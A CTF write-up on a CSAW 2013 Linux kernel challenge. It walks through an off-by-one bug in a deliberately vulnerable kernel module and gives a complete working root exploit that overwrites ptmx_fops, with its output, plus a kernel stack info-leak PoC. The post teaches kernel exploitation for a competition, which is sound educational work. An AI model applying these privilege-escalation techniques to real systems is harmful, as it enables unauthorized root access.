Table of Contents
- Introduction
- Understanding the Code
- Tracing the Vulnerable Code Path
- Leveraging the Vulnerability
- Circumventing Additional Obstacles
- Achieving Local Privilege Escalation
- Exploit
- Proof of Concept
- Bonus Points
Introduction
CSAW CTF 2013 was last weekend, and this year I was lucky enough to be named a judge for the competition. I decided to bring back the Linux kernel exploitation tradition of previous years and submitted the challenge “Brad Oberberg.” Four of the 15 teams successfully solved the challenge.
Each team was presented with unprivileged access to a live VM running 32-bit Ubuntu 12.04.3 LTS. The vulnerable kernel module csaw.ko was loaded on each system, and successful exploitation would allow for local privilege escalation and subsequent reading of the flag. Source code to the kernel module was provided to each team, and may be viewed below (or downloaded here):
/* * .ed"""" """$$$$be. * -" ^""**$$$e. * ." '$$$c * / C S A W "4$$b * d 3 2 0 1 3 $$$$ * $ * .$$$$$$ * .$ ^c $$$$$e$$$$$$$$. * d$L 4. 4$$$$$$$$$$$$$$b * $$$$b ^ceeeee. 4$$ECL.F*$$$$$$$ * e$""=. $$$$P d$$$$F $ $$$$$$$$$- $$$$$$ * z$$b. ^c 3$$$F "$$$$b $"$$$$$$$ $$$$*" .=""$c * 4$$$$L $$P" "$$b .$ $$$$$...e$$ .= e$$$. * ^*$$$$$c %.. *c .. $$ 3$$$$$$$$$$eF zP d$$$$$ * "**$$$ec " %ce"" $$$ $$$$$$$$$$* .r" =$$$$P"" * "*$b. "c *$e. *** d$$$$$"L$$ .d" e$$***" * ^*$$c ^$c $$$ 4J$$$$$% $$$ .e*".eeP" * "$$$$$$"'$=e....$*$$**$cz$$" "..d$*" * "*$$$ *=%4.$ L L$ P3$$$F $$$P" * "$ "%*ebJLzb$e$$$$$b $P" * %.. 4$$$$$$$$$$ " * $$$e z$$$$$$$$$$% * "*$c "$$$$$$$P" * ."""*$$$$$$$$bc * .-" .$***$$$"""*e. * .-" .e$" "*$c ^*b. * .=*"""" .e$*" "*bc "*$e.. * .$" .z*" ^*$e. "*****e. * $$ee$c .d" "*$. 3. * ^*$E")$..$" * .ee==d% * $.d$$$* * J$$$e* * """"" "$$$" Gilo95' */ #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/miscdevice.h> #include <linux/mm.h> #include <linux/fs.h> #include <linux/slab.h> #include <linux/random.h> #include <linux/list.h> #include <linux/sched.h> #include <asm/uaccess.h> #define DRIVER_VERSION "CSAW SUCKiT v1.3.37" #define CSAW_IOCTL_BASE 0x77617363 #define CSAW_ALLOC_HANDLE CSAW_IOCTL_BASE+1 #define CSAW_READ_HANDLE CSAW_IOCTL_BASE+2 #define CSAW_WRITE_HANDLE CSAW_IOCTL_BASE+3 #define CSAW_GET_CONSUMER CSAW_IOCTL_BASE+4 #define CSAW_SET_CONSUMER CSAW_IOCTL_BASE+5 #define CSAW_FREE_HANDLE CSAW_IOCTL_BASE+6 #define CSAW_GET_STATS CSAW_IOCTL_BASE+7 #define MAX_CONSUMERS 255 struct csaw_buf { unsigned long consumers[MAX_CONSUMERS]; char *buf; unsigned long size; unsigned long seed; struct list_head list; }; LIST_HEAD(csaw_bufs); struct alloc_args { unsigned long size; unsigned long handle; }; struct free_args { unsigned long handle; }; struct read_args { unsigned long handle; unsigned long size; void *out; }; struct write_args { unsigned long handle; unsigned long size; void *in; }; struct consumer_args { unsigned long handle; unsigned long pid; unsigned char offset; }; struct csaw_stats { unsigned long clients; unsigned long handles; unsigned long bytes_read; unsigned long bytes_written; char version[40]; }; unsigned long clients = 0; unsigned long handles = 0; unsigned long bytes_read = 0; unsigned long bytes_written = 0; static int csaw_open ( struct inode *inode, struct file *file ) { clients++; return 0; } static int csaw_release ( struct inode *inode, struct file *file ) { clients--; return 0; } int alloc_buf ( struct alloc_args *alloc_args ) { struct csaw_buf *cbuf; char *buf; unsigned long size, seed, handle; size = alloc_args->size; if ( ! size ) return -EINVAL; cbuf = kmalloc(sizeof(*cbuf), GFP_KERNEL); if ( ! cbuf ) return -ENOMEM; buf = kzalloc(size, GFP_KERNEL); if ( ! buf ) { kfree(cbuf); return -ENOMEM; } cbuf->buf = buf; cbuf->size = size; memset(&cbuf->consumers, 0, sizeof(cbuf->consumers)); cbuf->consumers[0] = current->pid; get_random_bytes(&seed, sizeof(seed)); cbuf->seed = seed; handle = (unsigned long)buf ^ seed; list_add(&cbuf->list, &csaw_bufs); alloc_args->handle = handle; return 0; } void free_buf ( struct csaw_buf *cbuf ) { list_del(&cbuf->list); kfree(cbuf->buf); kfree(cbuf); } struct csaw_buf *find_cbuf ( unsigned long handle ) { struct csaw_buf *cbuf; list_for_each_entry ( cbuf, &csaw_bufs, list ) if ( handle == ((unsigned long)cbuf->buf ^ cbuf->seed) ) return cbuf; return NULL; } static long csaw_ioctl ( struct file *file, unsigned int cmd, unsigned long arg ) { int ret = 0; unsigned long *argp = (unsigned long *)arg; switch ( cmd ) { case CSAW_ALLOC_HANDLE: { int ret; struct alloc_args alloc_args; if ( copy_from_user(&alloc_args, argp, sizeof(alloc_args)) ) return -EFAULT; if ( (ret = alloc_buf(&alloc_args)) < 0 ) return ret; if ( copy_to_user(argp, &alloc_args, sizeof(alloc_args)) ) return -EFAULT; handles++; break; } case CSAW_READ_HANDLE: { struct read_args read_args; struct csaw_buf *cbuf; unsigned int i, authorized = 0; unsigned long to_read; if ( copy_from_user(&read_args, argp, sizeof(read_args)) ) return -EFAULT; cbuf = find_cbuf(read_args.handle); if ( ! cbuf ) return -EINVAL; for ( i = 0; i < MAX_CONSUMERS; i++ ) if ( current->pid == cbuf->consumers[i] ) authorized = 1; if ( ! authorized ) return -EPERM; to_read = min(read_args.size, cbuf->size); if ( copy_to_user(read_args.out, cbuf->buf, to_read) ) return -EFAULT; bytes_read += to_read; break; } case CSAW_WRITE_HANDLE: { struct write_args write_args; struct csaw_buf *cbuf; unsigned int i, authorized = 0; unsigned long to_write; if ( copy_from_user(&write_args, argp, sizeof(write_args)) ) return -EFAULT; cbuf = find_cbuf(write_args.handle); if ( ! cbuf ) return -EINVAL; for ( i = 0; i < MAX_CONSUMERS; i++ ) if ( current->pid == cbuf->consumers[i] ) authorized = 1; if ( ! authorized ) return -EPERM; to_write = min(write_args.size, cbuf->size); if ( copy_from_user(cbuf->buf, write_args.in, to_write) ) return -EFAULT; bytes_written += to_write; break; } case CSAW_GET_CONSUMER: { struct consumer_args consumer_args; struct csaw_buf *cbuf; unsigned int i, authorized = 0; if ( copy_from_user(&consumer_args, argp, sizeof(consumer_args)) ) return -EFAULT; cbuf = find_cbuf(consumer_args.handle); if ( ! cbuf ) return -EINVAL; for ( i = 0; i < MAX_CONSUMERS; i++ ) if ( current->pid == cbuf->consumers[i] ) authorized = 1; if ( ! authorized ) return -EPERM; consumer_args.pid = cbuf->consumers[consumer_args.offset]; if ( copy_to_user(argp, &consumer_args, sizeof(consumer_args)) ) return -EFAULT; break; } case CSAW_SET_CONSUMER: { struct consumer_args consumer_args; struct csaw_buf *cbuf; unsigned int i, authorized = 0; if ( copy_from_user(&consumer_args, argp, sizeof(consumer_args)) ) return -EFAULT; cbuf = find_cbuf(consumer_args.handle); if ( ! cbuf ) return -EINVAL; for ( i = 0; i < MAX_CONSUMERS; i++ ) if ( current->pid == cbuf->consumers[i] ) authorized = 1; if ( ! authorized ) return -EPERM; cbuf->consumers[consumer_args.offset] = consumer_args.pid; break; } case CSAW_FREE_HANDLE: { struct free_args free_args; struct csaw_buf *cbuf; unsigned int i, authorized = 0; if ( copy_from_user(&free_args, argp, sizeof(free_args)) ) return -EFAULT; cbuf = find_cbuf(free_args.handle); if ( ! cbuf ) return -EINVAL; for ( i = 0; i < MAX_CONSUMERS; i++ ) if ( current->pid == cbuf->consumers[i] ) authorized = 1; if ( ! authorized ) return -EPERM; free_buf(cbuf); handles--; break; } case CSAW_GET_STATS: { struct csaw_stats csaw_stats; csaw_stats.clients = clients; csaw_stats.handles = handles; csaw_stats.bytes_read = bytes_read; csaw_stats.bytes_written = bytes_written; strcpy(csaw_stats.version, DRIVER_VERSION); if ( copy_to_user(argp, &csaw_stats, sizeof(csaw_stats)) ) return -EFAULT; break; } default: ret = -EINVAL; break; } return ret; } static ssize_t csaw_read ( struct file *file, char *buf, size_t count, loff_t *pos ) { char *stats; unsigned int to_read; unsigned int ret; stats = kmalloc(1024, GFP_KERNEL); if ( ! buf ) return -ENOMEM; ret = snprintf(stats, 1024, "Active clients: %lu\nHandles allocated: %lu\nBytes read: %lu\nBytes written: %lu\n", clients, handles, bytes_read, bytes_written); if ( count < ret ) to_read = count; else to_read = ret; if ( copy_to_user(buf, stats, to_read) ) { kfree(stats); return -EFAULT; } kfree(stats); return 0; } static const struct file_operations csaw_fops = { owner: THIS_MODULE, open: csaw_open, release: csaw_release, unlocked_ioctl: csaw_ioctl, read: csaw_read, }; static struct miscdevice csaw_miscdev = { name: "csaw", fops: &csaw_fops }; static int __init lezzdoit ( void ) { misc_register(&csaw_miscdev); return 0; } static void __exit wereouttahurr ( void ) { misc_deregister(&csaw_miscdev); } module_init(lezzdoit); module_exit(wereouttahurr); MODULE_LICENSE("GPL");
Understanding the Code
The kernel module is meant to provide a shared buffer system between processes. By interacting with the /dev/csaw
interface, processes may do various things such as allocating a new buffer of arbitrary size, reading and writing to the buffer, and controlling which process IDs may operate on it. The main point of interaction with the module is through the ioctl handler csaw_ioctl()
.
The CSAW_ALLOC_HANDLE
command allocates a new buffer of size specified by the user and returns a handle. A handle in this context is simply the the buffer address XOR’d with a random 32-bit value.
Given a valid handle to an existing allocated buffer, the commands CSAW_READ_HANDLE
and CSAW_WRITE_HANDLE
allow the user to read and write the contents of the buffer. Only process IDs authorized in the buffer’s consumers
array may perform these operations, however.
Again, given a valid handle to an existing allocated buffer, the CSAW_GET_CONSUMER
and CSAW_SET_CONSUMER
commands allow only authorized processes to modify the buffer’s consumers
array.
Finally, the CSAW_FREE_HANDLE
command allows authorized consumers to free a given buffer.
An extra command CSAW_GET_STATS
provides no direct functionality towards shared buffer management, but provides interesting debug information about the module. Calling read()
on the interface provides similar data.
Tracing the Vulnerable Code Path
Upon entry to csaw_ioctl()
, user controls the arguments cmd
and arg
, and thus the variable argp
:
183 static long csaw_ioctl ( struct file *file, unsigned int cmd, unsigned long arg ) 184 { 185 int ret = 0; 186 unsigned long *argp = (unsigned long *)arg; 187 188 switch ( cmd ) 189 {
By providing the CSAW_SET_CONSUMER
command, the following case is chosen:
299 case CSAW_SET_CONSUMER: 300 { 301 struct consumer_args consumer_args; 302 struct csaw_buf *cbuf; 303 unsigned int i, authorized = 0; 304 305 if ( copy_from_user(&consumer_args, argp, sizeof(consumer_args)) ) 306 return -EFAULT; 307 308 cbuf = find_cbuf(consumer_args.handle); 309 if ( ! cbuf ) 310 return -EINVAL;
On line 305, user data is safely copied into the struct consumer_args
:
91 struct consumer_args { 92 unsigned long handle; 93 unsigned long pid; 94 unsigned char offset; 95 };
On line 308, consumer_args.handle
is verified to be a valid handle. By previously allocating a new buffer via the CSAW_ALLOC_HANDLE
command and passing the returned handle here, this check may be satisfied.
Next, the calling process to verified to be in the list of authorized consumers:
312 for ( i = 0; i < MAX_CONSUMERS; i++ ) 313 if ( current->pid == cbuf->consumers[i] ) 314 authorized = 1; 315 316 if ( ! authorized ) 317 return -EPERM;
Since our current process is also the creator of the given handle, this check is satisfied automatically due to the consumers
array being initialized with the current process ID.
Next, the consumers list is updated to reflect the desired edit:
319 cbuf->consumers[consumer_args.offset] = consumer_args.pid;
Line 319 is interesting for a variety of reasons.
At first sight, it appears to suffer from an unbounded array index vulnerability due to the user-controlled consumer_args.offset
value being used directly as an array index without prior sanity check. With such a vulnerability, it would be possible to write a user-controlled 32-bit value at an arbitrary offset from &cbuf->consumers
.
However, upon further inspection of the struct definition, we find that consumer_args.offset
is in fact of type unsigned char
, meaning that its value is bounded from 0-255 instead of 0-(232-1).
Looking at the definition of struct csaw_buf
, we find that cbuf->consumers
is appropriately sized and doesn’t allow a user to index outside of the array:
58 #define MAX_CONSUMERS 255 59 60 struct csaw_buf { 61 unsigned long consumers[MAX_CONSUMERS]; 62 char *buf; 63 unsigned long size; 64 unsigned long seed; 65 struct list_head list; 66 };
…Or does it?
Recall how C buffer allocation and array indexing works. The consumers
array is allocated with size 255 elements. By providing the value 255 as an array index, we are not referencing the last element, but instead one past the last element since C begins counting at the 0 index.
This means there is an off-by-one vulnerability in this code, and we can write an arbitrary 32-bit value immediately after the end of consumers
in our buffer’s csaw_cbuf
struct (or leak the existing value via CSAW_GET_CONSUMER
).
Leveraging the Vulnerability
The actual impact of this vulnerability depends on exactly what data follows the consumers
array and what control is afforded by manipulating it.
Interestingly enough, we notice that a pointer buf
immediately follows the array and may be fully controlled or leaked with our bug:
60 struct csaw_buf { 61 unsigned long consumers[MAX_CONSUMERS]; 62 char *buf; 63 unsigned long size; 64 unsigned long seed; 65 struct list_head list; 66 };
This buf
pointer stores the location of the heap buffer associated with an allocated handle. In normal operation, the module would read and write to this pointer when getting or settings the contents of a shared buffer. Instead, we can abuse the functionality of CSAW_WRITE_HANDLE
to achieve an exploitation primitive:
240 case CSAW_WRITE_HANDLE: 241 { 242 struct write_args write_args; 243 struct csaw_buf *cbuf; 244 unsigned int i, authorized = 0; 245 unsigned long to_write; 246 247 if ( copy_from_user(&write_args, argp, sizeof(write_args)) ) 248 return -EFAULT; 249 250 cbuf = find_cbuf(write_args.handle); 251 if ( ! cbuf ) 252 return -EINVAL; 253 254 for ( i = 0; i < MAX_CONSUMERS; i++ ) 255 if ( current->pid == cbuf->consumers[i] ) 256 authorized = 1; 257 258 if ( ! authorized ) 259 return -EPERM; 260 261 to_write = min(write_args.size, cbuf->size); 262 263 if ( copy_from_user(cbuf->buf, write_args.in, to_write) ) 264 return -EFAULT; 265 266 bytes_written += to_write; 267 268 break; 269 }
On line 263, user data is presumably safely copied into kernelspace using the copy_from_user()
function. However, with our newfound control over cbuf->buf
, we may now point this write operation at any arbitrary location in the kernel, resulting in an arbitrary write primitive.
Mirroring this functionality in CSAW_READ_HANDLE
, we may also leverage the bug to leak memory at any arbitrary location in the kernel, resulting in an arbitrary read primitive.
Circumventing Additional Obstacles
Although we’ve identified a vector by which to leverage our off-by-one as arbitrary read and write primitives, there are still additional obstacles to overcome before continuing with our exploit.
Specifically, the call to find_cbuf()
on line 250 of CSAW_WRITE_HANDLE
is troublesome:
250 cbuf = find_cbuf(write_args.handle); 251 if ( ! cbuf ) 252 return -EINVAL;
Looking at the implementation of find_cbuf()
, we find something interesting:
172 struct csaw_buf *find_cbuf ( unsigned long handle ) 173 { 174 struct csaw_buf *cbuf; 175 176 list_for_each_entry ( cbuf, &csaw_bufs, list ) 177 if ( handle == ((unsigned long)cbuf->buf ^ cbuf->seed) ) 178 return cbuf; 179 180 return NULL; 181 }
On lines 176-178, the function iterates through the linked list of allocated buffers and determines if the user-supplied handle matches that of an existing buffer.
Recall that handles are calculated as an XOR of the buffer address and 32 bits of randomness. Thus, by corrupting an existing cbuf->buf
address, all handle lookups for that buffer will subsequently fail since the calculation no longer matches our given handle.
Thus, in order to achieve our arbitrary read and write, we will need to first somehow leak the buffer’s seed
value and recalculate the necessary handle to pass in. Although seed
can’t be directly leaked with the off-by-one bug, it is still possible to infer its value due to the nature of the calculation.
Thanks to the reversibility of the XOR operation, we can instead first leak the existing cbuf->buf
value and XOR it with its given handle, obtaining the seed
value as a result. Then, by XOR’ng the new cbuf->buf
value with the leaked seed
, a new valid handle may be calculated and passed in, satisfying the validation function and successfully returning the manipulated buffer struct.
With all obstacles satisfied and exploit primitives realized, it’s time to write an exploit.
Achieving Local Privilege Escalation
While there are numerous techniques to achieve privilege escalation, my solution to the challenge uses the common technique of simply overwriting and triggering a kernel function pointer with the address of a payload in userspace.
Despite an effort to const
-ify (make read-only) all possible function pointers in the kernel, certain design patterns still leave opportunity open for easy exploitation. By overwriting the aio_write
function pointer within the ptmx_fops
struct associated with /dev/ptmx
, it is possible to subsequently trigger the pointer with a call to readv()
. In addition to my solution, this specific technique may also be observed in the Enlightenment framework written by Brad Spengler (spender).
After corrupting and triggering the function pointer, kernel execution is then transferred to the following payload in userspace:
127 typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); 128 typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); 129 130 unsigned long commit_creds; 131 unsigned long prepare_kernel_cred; 132 unsigned long *cleanup; 133 134 int get_root ( void *iocb, const struct iovec *iov, unsigned long nr_segs, loff_t pos ) 135 { 136 _commit_creds commit = (_commit_creds)commit_creds; 137 _prepare_kernel_cred prepare = (_prepare_kernel_cred)prepare_kernel_cred; 138 139 *cleanup = 0; 140 141 commit(prepare(0)); 142 143 return 0; 144 }
Kernel symbol resolution was enabled for this challenge, so determining the addresses of commit_creds
, prepare_kernel_cred
, and ptmx_fops
was achieved simply by parsing the output of /proc/kallsyms
.
Since the value of aio_read
within ptmx_fops
is by default 0, cleanup was relatively painless and only required writing the value 0 back to the corrupted pointer location.
Exploit
/* * CSAW 2013 Michael Coppola solution */ #include #include #include #include <sys/ioctl.h> #include #include #include #include <sys/uio.h> #include <sys/utsname.h> #define BUF_SIZE 0x100 #define CSAW_IOCTL_BASE 0x77617363 #define CSAW_ALLOC_HANDLE CSAW_IOCTL_BASE+1 #define CSAW_READ_HANDLE CSAW_IOCTL_BASE+2 #define CSAW_WRITE_HANDLE CSAW_IOCTL_BASE+3 #define CSAW_GET_CONSUMER CSAW_IOCTL_BASE+4 #define CSAW_SET_CONSUMER CSAW_IOCTL_BASE+5 #define CSAW_FREE_HANDLE CSAW_IOCTL_BASE+6 #define CSAW_GET_STATS CSAW_IOCTL_BASE+7 struct alloc_args { unsigned long size; unsigned long handle; }; struct free_args { unsigned long handle; }; struct read_args { unsigned long handle; unsigned long size; void *out; }; struct write_args { unsigned long handle; unsigned long size; void *in; }; struct consumer_args { unsigned long handle; unsigned long pid; unsigned char offset; }; struct csaw_stats { unsigned long clients; unsigned long handles; unsigned long bytes_read; unsigned long bytes_written; char version[40]; }; /* thanks spender... */ unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[512]; struct utsname ver; int ret; int rep = 0; int oldstyle = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) goto fallback; oldstyle = 1; } repeat: ret = 0; while(ret != EOF) { if (!oldstyle) ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); else { ret = fscanf(f, "%p %s\n", (void **)&addr, sname); if (ret == 2) { char *p; if (strstr(sname, "_O/") || strstr(sname, "_S.")) continue; p = strrchr(sname, '_'); if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { p = p - 4; while (p > (char *)sname && *(p - 1) == '_') p--; *p = ''; } } } if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fprintf(stdout, "[+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : ""); fclose(f); return addr; } } fclose(f); if (rep) return 0; fallback: uname(&ver); if (strncmp(ver.release, "2.6", 3)) oldstyle = 1; sprintf(sname, "/boot/System.map-%s", ver.release); f = fopen(sname, "r"); if (f == NULL) return 0; rep = 1; goto repeat; } typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); unsigned long commit_creds; unsigned long prepare_kernel_cred; unsigned long *cleanup; int get_root ( void *iocb, const struct iovec *iov, unsigned long nr_segs, loff_t pos ) { _commit_creds commit = (_commit_creds)commit_creds; _prepare_kernel_cred prepare = (_prepare_kernel_cred)prepare_kernel_cred; *cleanup = 0; commit(prepare(0)); return 0; } int main ( int argc, char **argv ) { int fd, pfd, ret; unsigned long handle, buf, seed, target, new_handle, ptmx_fops; unsigned long payload[4]; struct alloc_args alloc_args; struct write_args write_args; struct consumer_args consumer_args; struct iovec iov; fd = open("/dev/csaw", O_RDONLY); if ( fd < 0 ) { perror("open"); exit(EXIT_FAILURE); } pfd = open("/dev/ptmx", O_RDWR); if ( pfd < 0 ) { perror("open"); exit(EXIT_FAILURE); } commit_creds = get_kernel_sym("commit_creds"); if ( ! commit_creds ) { printf("[-] commit_creds symbol not found, aborting\n"); exit(1); } prepare_kernel_cred = get_kernel_sym("prepare_kernel_cred"); if ( ! prepare_kernel_cred ) { printf("[-] prepare_kernel_cred symbol not found, aborting\n"); exit(1); } ptmx_fops = get_kernel_sym("ptmx_fops"); if ( ! ptmx_fops ) { printf("[-] ptmx_fops symbol not found, aborting\n"); exit(1); } memset(&alloc_args, 0, sizeof(alloc_args)); alloc_args.size = BUF_SIZE; ret = ioctl(fd, CSAW_ALLOC_HANDLE, &alloc_args); if ( ret < 0 ) { perror("ioctl"); exit(EXIT_FAILURE); } handle = alloc_args.handle; printf("[+] Acquired handle: %lx\n", handle); memset(&consumer_args, 0, sizeof(consumer_args)); consumer_args.handle = handle; consumer_args.offset = 255; ret = ioctl(fd, CSAW_GET_CONSUMER, &consumer_args); if ( ret < 0 ) { perror("ioctl"); exit(EXIT_FAILURE); } buf = consumer_args.pid; printf("[+] buf = %lx\n", buf); seed = buf ^ handle; printf("[+] seed = %lx\n", seed); target = ptmx_fops + sizeof(void *) * 4; printf("[+] target = %lx\n", target); new_handle = target ^ seed; printf("[+] new handle = %lx\n", new_handle); memset(&consumer_args, 0, sizeof(consumer_args)); consumer_args.handle = handle; consumer_args.offset = 255; consumer_args.pid = target; ret = ioctl(fd, CSAW_SET_CONSUMER, &consumer_args); if ( ret < 0 ) { perror("ioctl"); exit(EXIT_FAILURE); } buf = (unsigned long)&get_root; memset(&write_args, 0, sizeof(write_args)); write_args.handle = new_handle; write_args.size = sizeof(buf); write_args.in = &buf; ret = ioctl(fd, CSAW_WRITE_HANDLE, &write_args); if ( ret < 0 ) { perror("ioctl"); exit(EXIT_FAILURE); } printf("[+] Triggering payload\n"); cleanup = (unsigned long *)target; iov.iov_base = &iov; iov.iov_len = sizeof(payload); ret = readv(pfd, &iov, 1); if ( getuid() ) { printf("[-] Failed to get root\n"); exit(1); } else printf("[+] Got root!\n"); printf("[+] Enjoy your shell...\n"); execl("/bin/sh", "sh", NULL); return 0; }
Proof of Concept
csaw@gibson:~$ ./solution [+] Resolved commit_creds to 0xc1073be0 [+] Resolved prepare_kernel_cred to 0xc1073e10 [+] Resolved ptmx_fops to 0xc1ac8ec0 [+] Acquired handle: da56b670 [+] buf = f6a84200 [+] seed = 2cfef470 [+] target = c1ac8ed0 [+] new handle = ed527aa0 [+] Triggering payload [+] Got root! [+] Enjoy your shell... # id uid=0(root) gid=0(root) groups=0(root) #
Bonus Points
Although there were no actual bonus points to be awarded in the CTF, there is an additional information leak in the challenge that may have been utilized should symbol resolution be disabled (and you didn’t want to, ya know, use the arbitrary read).
Specifically, the CSAW_GET_STATS
command contains the vulnerable code:
351 case CSAW_GET_STATS: 352 { 353 struct csaw_stats csaw_stats; 354 355 csaw_stats.clients = clients; 356 csaw_stats.handles = handles; 357 csaw_stats.bytes_read = bytes_read; 358 csaw_stats.bytes_written = bytes_written; 359 strcpy(csaw_stats.version, DRIVER_VERSION); 360 361 if ( copy_to_user(argp, &csaw_stats, sizeof(csaw_stats)) ) 362 return -EFAULT; 363 364 break; 365 }
The information leak manifests itself in the version
member of csaw_stats
, where uninitialized kstack data is returned to the user. This vulnerability may be identified upon further inspection of the struct definition:
47 #define DRIVER_VERSION "CSAW SUCKiT v1.3.37" ... 97 struct csaw_stats { 98 unsigned long clients; 99 unsigned long handles; 100 unsigned long bytes_read; 101 unsigned long bytes_written; 102 char version[40]; 103 };
Note how version
is allocated with size 40, while the DRIVER_VERSION
string being strcpy()
‘d is only 20 bytes long (including the terminating null byte).
The following code leaks out 20 bytes of uninitialized kstack data to userspace:
/* * CSAW 2013 Michael Coppola leak uninitialized kstack */ #include #include #include #include <sys/ioctl.h> #include #include #include #include <sys/uio.h> #include <sys/utsname.h> #define CSAW_IOCTL_BASE 0x77617363 #define CSAW_GET_STATS CSAW_IOCTL_BASE+7 struct csaw_stats { unsigned long clients; unsigned long handles; unsigned long bytes_read; unsigned long bytes_written; char version[40]; }; int main ( int argc, char **argv ) { int fd, ret, i; struct csaw_stats csaw_stats; fd = open("/dev/csaw", O_RDONLY); if ( fd < 0 ) { perror("open"); exit(EXIT_FAILURE); } memset(&csaw_stats, 0, sizeof(csaw_stats)); ret = ioctl(fd, CSAW_GET_STATS, &csaw_stats); if ( ret < 0 ) { perror("ioctl"); exit(EXIT_FAILURE); } for ( i = 0; i < 20; i++ ) printf("%02hhx ", csaw_stats.version[20+i]); printf("\n"); return 0; }
And proof of concept:
csaw@gibson:~$ for i in {1..10}; do ./leak; done 00 ce 80 f6 14 00 00 00 28 00 00 00 30 79 62 b7 00 00 00 00 40 c5 80 f6 14 00 00 00 28 00 00 00 30 39 6f b7 00 00 00 00 00 c7 80 f6 14 00 00 00 28 00 00 00 30 a9 68 b7 00 00 00 00 c0 b8 82 f4 14 00 00 00 28 00 00 00 30 b9 66 b7 00 00 00 00 00 c7 80 f6 14 00 00 00 28 00 00 00 30 b9 68 b7 00 00 00 00 00 50 a6 f6 14 00 00 00 28 00 00 00 30 89 64 b7 00 00 00 00 c0 58 a6 f6 14 00 00 00 28 00 00 00 30 29 67 b7 00 00 00 00 00 50 a6 f6 14 00 00 00 28 00 00 00 30 69 6c b7 00 00 00 00 c0 58 a6 f6 14 00 00 00 28 00 00 00 30 39 69 b7 00 00 00 00 00 50 a6 f6 14 00 00 00 28 00 00 00 30 e9 65 b7 00 00 00 00 csaw@gibson:~$
Depending on the uninitialized data returned, it’s possible to leak pointers which may be used to calculate the base of one’s own kstack. Using this information in the absence of known targets for a write primitive, a calculated write may then be performed into the kstack to subsequently gain code execution.
This technique, known as “stackjacking,” was presented by Dan Rosenberg and Jon Oberheide in 2011 as a technique to exploit a Linux kernel hardened by the grsecurity patchset.
Although I have written a modified version of my solution that utilizes stackjacking for local privilege escalation, I’ll leave its implementation as an exercise to the reader.